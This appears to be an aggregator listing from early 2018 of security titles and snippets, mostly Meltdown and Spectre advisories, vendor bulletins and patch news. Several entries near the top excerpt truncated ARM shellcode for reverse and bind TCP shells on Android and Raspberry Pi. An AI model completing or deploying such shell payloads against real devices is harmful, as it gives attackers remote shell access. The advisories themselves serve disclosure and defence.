Android/ARM - Reverse TCP /system/bin/sh Shell (10.0.2.2:0x3412/TCP) Shellcode (79 bytes)

/ This ARM Thumb sc connects to a given IP and port with a shell. Intended for use with Android hence /system/bin/sh. Connects to the provided IP and port with a shell no null bytes in the code, but does this really matter these days? it could be fixed with just a few instructions. Released to th...

Fedora 26 : firefox (2018-fb582aabcc)

Update to 57.0.4 - Security fixes to address the Meltdown and Spectre timing attacks - https://blog.mozilla.org/security/2018/01/03/mitigations -landing-new-class-timing-attack/ - Require new nss 3.34 fixed 1531031 - Disabled ARM on all Fedoras due to 1523912 Note that Tenable Network Security...

Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes)

.section .text .global start start: .ARM add r3, pc, 1 // switch to thumb mode bx r3 .THUMB // socket2, 1, 0 mov r0, 2 mov r1, 1 sub r2, r2, r2 // set r2 to null mov r7, 200 // r7 = 281 socket add r7, 81 // r7 value needs to be split svc 1 // r0 = hostsockid value mov r4, r0 // save hostsockid in...

Linux/ARM (Raspberry Pi) - Bind TCP (0.0.0.0:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (112 bytes)

Linux/ARM Raspberry Pi - Bind TCP 0.0.0.0:4444/TCP Shell /bin/sh + Null-Free Shellcode 112 bytes. Shellcode exploit for ARM platform .section .text .global start start: .ARM add r3, pc, 1 // switch to thumb mode bx r3 .THUMB // socket2, 1, 0 mov r0, 2 mov r1, 1 sub r2, r2, r2 // set r2 to null mo...

Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes)

.section .text .global start start: .ARM add r3, pc, 1 // switch to thumb mode bx r3 .THUMB // socket2, 1, 0 mov r0, 2 mov r1, 1 sub r2, r2, r2 // set r2 to null mov r7, 200 // r7 = 281 socket add r7, 81 // r7 value needs to be split svc 1 // r0 = hostsockid value mov r4, r0 // save hostsockid in...

Microsoft’s Jan. 2018 Patch Tuesday Lowdown

Microsoft on Tuesday released 14 security updates, including fixes for the Spectre and Meltdown flaws detailed last week, as well as a zero-day vulnerability in Microsoft Office that is being exploited in the wild. Separately, Adobe pushed a security update to its Flash Player software. Last week...

Multiple CPUs - Information Leak Using Speculative Execution

Multiple CPUs - Information Leak Using Speculative Execution == INTRODUCTION == This is a bug report about a CPU security issue that affects processors by Intel, AMD and to some extent ARM. I have written a PoC for this issue that, when executed in userspace on an Intel Xeon CPU E5-1650 v3 machin...

Multiple CPUs - Information Leak Using Speculative Execution Exploit

Exploit for hardware platform in category dos / poc == INTRODUCTION == This is a bug report about a CPU security issue that affects processors by Intel, AMD and to some extent ARM. I have written a PoC for this issue that, when executed in userspace on an Intel Xeon CPU E5-1650 v3 machine with a...

Multiple CPUs - Information Leak Using Speculative Execution

== INTRODUCTION == This is a bug report about a CPU security issue that affects processors by Intel, AMD and to some extent ARM. I have written a PoC for this issue that, when executed in userspace on an Intel Xeon CPU E5-1650 v3 machine with a modern Linux kernel, can leak around 2000 bytes per...

The vulnerabilities of Intel, ARM, and AMD processors stem from the unique workings of the branch prediction module, which allows attackers to exploit the protected information.

The vulnerabilities of Intel, ARM, and AMD processors are related to the characteristics of the branch prediction module’s operation. Exploiting these vulnerabilities allows attackers to gain access to protected memory from a program that does not have the necessary privileges, by creating...

The vulnerability of Intel and ARM processors is caused by a memory access control error during speculative execution of processor instructions, allowing attackers to disclose protected information.

The vulnerabilities of Intel and ARM processors stem from errors in memory access control during speculative execution of processor instructions. Exploiting these vulnerabilities allows attackers to gain access to protected memory from a program that does not have the necessary privileges. This i...

Meltdown and Spectre

Cisco Talos is aware of three new vulnerabilities impacting Intel, AMD, Qualcomm and ARM processors used by almost all computers. We are investigating these issues and although we have not observed exploitation of these vulnerabilities in the wild, that does not mean that it has not occurred. We...

Experts Weigh In On Spectre Patch Challenges

The race to patch against the Meltdown and Spectre processor vulnerabilities disclosed last week is on. As of today, there are no known exploits in the wild impacting vulnerable Intel, AMD and ARM devices. Currently, vendors are focused on three main mitigation efforts. Patches that address the...

RetDec - A Retargetable Machine-Code Decompiler

RetDec is a retargetable machine-code decompiler based on LLVM. The decompiler is not limited to any particular target architecture, operating system, or executable file format: Supported file formats: ELF, PE, Mach-O, COFF, AR archive, Intel HEX, and raw machine code. Supported architectures 32b...

Security Bulletin: NVIDIA Jetson TX1, Jetson TK1, and Tegra K1 L4T Security Updates for CPU Speculative Side Channel Vulnerabilities

Jetson and Tegra L4T response to CPU speculative side channel vulnerabilities - CVE-2017-5753, CVE-2017-5715, CVE-2017-5754 Bulletin Summary NVIDIA is providing an initial security update to mitigate aspects of Google Project Zero's January 3, 2018, publication of novel information disclosure...

Security Bulletin: NVIDIA Jetson TX2 L4T Security Updates for CPU Speculative Side Channel Vulnerabilities

Jetson L4T response to CPU speculative side channel vulnerabilities - CVE-2017-5753, CVE-2017-5715, CVE-2017-5754 Bulletin Summary NVIDIA is providing an initial security update to mitigate aspects of Google Project Zero's January 3, 2018, publication of novel information disclosure attacks that...

Fixing the Meltdown and Spectre vulnerabilities

Two days ago, Graz University of Technology published a paper describing a pair of attacks on common microprocessors. The underlying vulnerability affects Intel, AMD, and ARM processors. All contemporary microprocessors pre-execute instructions. In other words, the vulnerability bypasses address...

Vendors Share Patch Updates on Spectre and Meltdown Mitigation Efforts

Intel, Amazon, Microsoft and others are playing down concerns over the impact of the massive Spectre and Meltdown vulnerabilities affecting computers, servers and mobile devices worldwide. The two flaws, Spectre and Meltdown, are far reaching and impact a wide range of microprocessors used in the...

x86: memory leak with MSR emulation

ISSUE DESCRIPTION In Xen 4.10, new infrastructure was introduced as part of an overhaul to how MSR emulation happens for guests. Unfortunately, one tracking structure isn't freed when a vcpu is destroyed. IMPACT A memory allocation of 8 bytes is leaked each time a vcpu is destroyed. A malicious...

Processor Vulnerabilities – Meltdown and Spectre

UPDATE 1/4/2018: Qualys has released several QIDs for detecting missing patches for these vulnerabilities. UPDATE 1/5/2018: Pre-built AssetView dashboards to visualize impact and remediation progress. Vulnerabilities potentially impacting all major processor vendors were disclosed today by Google...